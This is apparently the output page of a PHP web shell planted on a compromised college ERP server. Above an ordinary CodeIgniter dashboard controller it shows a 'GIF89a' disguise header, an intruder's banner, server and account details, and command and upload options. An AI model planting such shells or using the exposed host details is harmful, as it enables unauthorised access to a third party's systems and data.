GIF89a; CRX
KBHT HEHE
Server IP : 172.26.0.195  /  Your IP : 3.141.35.27
Web Server : Apache
System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : jnclnmuac ( 1026)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/jnclnmuac/public_html/web/../admission/../cas/application/controllers/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jnclnmuac/public_html/web/../admission/../cas/application/controllers/admin/Dashboard.php
<?php

/**
 * Dashboard Controller
 *
 * @author Softpro India Pvt. Ltd.
 */
defined('BASEPATH') OR exit('No direct script access allowed');

class Dashboard extends CI_Controller {

    public function __construct() {
        parent::__construct();
        $this->load->model('admin/SessionManagement');
        $this->load->model('admin/FeedbackManagement');
        $this->load->model('admin/HolidayManagement');
        $this->load->model('admin/SubjectManagement');
        $this->load->model('admin/AllotmentManagement');
        $this->load->model('admin/reports/DashboardReports');
        $this->load->model('admin/reports/GeneralReports');
    }

    public function index() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $viewData['wishMessage'] = $this->getWishMessage();
            $viewData['selectedSessionId'] = '';
            $viewData['currentSession'] = $this->SessionManagement->getCurrentSessionInfo()->result()[0]->session_name;
            $viewData['selectedSessionName'] = $viewData['currentSession'];
            $viewData['allSessions'] = $this->SessionManagement->getNonDeletedActiveSessions()->result();
            if ($this->session->userdata("adminData")["role_code"] == '001') {
                /* Count Report Starts */
                $viewData['totEnrolledStudents'] = $this->DashboardReports->getTotalEnrolledStudentsBySession($this->SessionManagement->getCurrentSessionInfo()->result()[0]->session_id)->result()[0]->totalStudents;
                $viewData['totCourses'] = $this->DashboardReports->getTotalCourses($this->SessionManagement->getCurrentSessionInfo()->result()[0]->session_id)->result()[0]->totalCourses;
                $viewData['totSessions'] = $this->DashboardReports->getTotalSessions()->result()[0]->totalSessions;
                $viewData['totERPUsers'] = $this->DashboardReports->getTotalERPUsers()->result()[0]->totalERPUsers;
                /* Count Report Ends */
                /* Graphical Report Starts */
                $viewData['genderReportData'] = $this->DashboardReports->getGenderCountReportForGivenSessionInJSON($this->SessionManagement->getCurrentSessionInfo()->result()[0]->session_id);
                $viewData['categoryReportData'] = $this->DashboardReports->getCategoryCountReportForGivenSessionInJSON($this->SessionManagement->getCurrentSessionInfo()->result()[0]->session_id);
                $viewData['religionReportData'] = $this->DashboardReports->getReligionCountReportForGivenSessionInJSON($this->SessionManagement->getCurrentSessionInfo()->result()[0]->session_id);
                $viewData['courseStudentReportData'] = $this->DashboardReports->getCourseStudentCountReportForGivenSessionInJSON($this->SessionManagement->getCurrentSessionInfo()->result()[0]->session_id);
                $viewData['operatorPerformanceReportData'] = $this->DashboardReports->getOperatorPerformanceReportForGivenSessionInJSON($this->SessionManagement->getCurrentSessionInfo()->result()[0]->session_id);
                /* Graphical Report Ends */
            } else if ($this->session->userdata("adminData")["role_code"] == '004') {
                /* My Performance Report Starts */
                $viewData['myPerformanceReportData'] = $this->DashboardReports->getCourseStudentCountReportForGivenSessionInJSON($this->SessionManagement->getCurrentSessionInfo()->result()[0]->session_id, $this->session->userdata("adminData")['smember_id']);
                /* My Performance Report Ends */
            } else if ($this->session->userdata("adminData")["role_code"] == '005') {
                /* Faculty Subject Report Starts */
                $viewData['allottedSubjectsReportData'] = $this->SubjectManagement->getAllotedSubjectBy($this->session->userdata("adminData")['smember_id'], $this->SessionManagement->getCurrentSessionInfo()->result()[0]->session_id, 6)->result();
                /* Faculty Subject Report Ends */
            } else if ($this->session->userdata("adminData")["role_code"] == '006') {
                /* Course Coordinator/HoD Course Report Starts */
                $viewData['allottedCoursesReportData'] = $this->AllotmentManagement->getAllCourseAllotment($this->session->userdata("adminData")['smember_id'])->result();
                /* Course Coordinator/HoD Course Report Starts */
            }
            /* Tabular Report Starts */
            $viewData['todaysBirthdays'] = $this->getTodaysBirthdays();
            $viewData['userFeedbacks'] = $this->FeedbackManagement->getAllFeedbacks($this->session->userdata("adminData")['smember_id'])->result();
            /* Tabular Report Ends */
            /* Holiday Calendar Data */
            $viewData["holiday"] = $this->HolidayManagement->getAllHolidays()->result();
            /* Holiday Calendar Data */
            $this->load->view('admin/dashboard', $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function differentSession() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $selectedSession = $this->input->post('session');
            $viewData['wishMessage'] = $this->getWishMessage();
            $viewData['selectedSessionId'] = $this->SessionManagement->getSessionInfoBy($selectedSession)->result()[0]->session_id;
            $viewData['currentSession'] = $this->SessionManagement->getCurrentSessionInfo()->result()[0]->session_name;
            $viewData['selectedSessionName'] = $this->SessionManagement->getSessionInfoBy($selectedSession)->result()[0]->session_name;
            $viewData['allSessions'] = $this->SessionManagement->getNonDeletedActiveSessions()->result();
            if ($this->session->userdata("adminData")["role_code"] == '001') {
                /* Count Report Starts */
                $viewData['totEnrolledStudents'] = $this->DashboardReports->getTotalEnrolledStudentsBySession($selectedSession)->result()[0]->totalStudents;
                $viewData['totCourses'] = $this->DashboardReports->getTotalCourses($selectedSession)->result()[0]->totalCourses;
                $viewData['totSessions'] = $this->DashboardReports->getTotalSessions()->result()[0]->totalSessions;
                $viewData['totERPUsers'] = $this->DashboardReports->getTotalERPUsers()->result()[0]->totalERPUsers;
                /* Count Report Ends */
                /* Graphical Report Starts */
                $viewData['genderReportData'] = $this->DashboardReports->getGenderCountReportForGivenSessionInJSON($selectedSession);
                $viewData['categoryReportData'] = $this->DashboardReports->getCategoryCountReportForGivenSessionInJSON($selectedSession);
                $viewData['religionReportData'] = $this->DashboardReports->getReligionCountReportForGivenSessionInJSON($selectedSession);
                $viewData['courseStudentReportData'] = $this->DashboardReports->getCourseStudentCountReportForGivenSessionInJSON($selectedSession);
                $viewData['operatorPerformanceReportData'] = $this->DashboardReports->getOperatorPerformanceReportForGivenSessionInJSON($selectedSession);
                /* Graphical Report Ends */
            } else if ($this->session->userdata("adminData")["role_code"] == '004') {
                /* My Performance Report Starts */
                $viewData['myPerformanceReportData'] = $this->DashboardReports->getCourseStudentCountReportForGivenSessionInJSON($selectedSession, $this->session->userdata("adminData")['smember_id']);
                /* My Performance Report Starts */
            } else if ($this->session->userdata("adminData")["role_code"] == '005') {
                /* Faculty Subject Report Starts */
                $viewData['allottedSubjectsReportData'] = $this->SubjectManagement->getAllotedSubjectBy($this->session->userdata("adminData")['smember_id'], $selectedSession, 6)->result();
                /* Faculty Subject Report Ends */
            } else if ($this->session->userdata("adminData")["role_code"] == '006') {
                /* Course Coordinator/HoD Course Report Starts */
                $viewData['allottedCoursesReportData'] = $this->AllotmentManagement->getAllCourseAllotment($this->session->userdata("adminData")['smember_id'])->result();
                /* Course Coordinator/HoD Course Report Starts */
            }
            /* Tabular Report Starts */
            $viewData['todaysBirthdays'] = $this->getTodaysBirthdays();
            $viewData['userFeedbacks'] = $this->FeedbackManagement->getAllFeedbacks($this->session->userdata("adminData")['smember_id'])->result();
            /* Tabular Report Ends */
            /* Holiday Calendar Data */
            $viewData["holiday"] = $this->HolidayManagement->getAllHolidays()->result();
            /* Holiday Calendar Data */
            $this->load->view('admin/dashboard', $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function getWishMessage() {
        $time = date("H");
        if ($time < "12") {
            return "Good morning ";
        } else
        if ($time >= "12" && $time < "17") {
            return "Good afternoon ";
        } else {
            return "Good evening ";
        }
    }

    public function getTodaysBirthdays() {
        $todaysBirthdays = array();
        $allBirthdayReport = $this->GeneralReports->getUserBirthdays()->result();
        for ($i = 0; $i < (sizeof($allBirthdayReport)); $i++) {
            $userDOBDD = explode('-', $allBirthdayReport[$i]->tprfl_dob)[2];
            $userDOBMM = explode('-', $allBirthdayReport[$i]->tprfl_dob)[1];
            $todaysDD = date('d');
            $thisMonth = date('m');
            if ($userDOBDD == $todaysDD && $thisMonth == $userDOBMM) {
                array_push($todaysBirthdays, array(
                    'tprfl_firstname' => $allBirthdayReport[$i]->tprfl_firstname,
                    'tprfl_lastname' => $allBirthdayReport[$i]->tprfl_lastname,
                    'desig_name' => $allBirthdayReport[$i]->desig_name,
                    'branch_name' => $allBirthdayReport[$i]->branch_name,
                    'tprfl_dob' => date("d-m-Y", strtotime($allBirthdayReport[$i]->tprfl_dob)),
                        )
                );
            }
        }
        return $todaysBirthdays;
    }

}

KBHT - 2023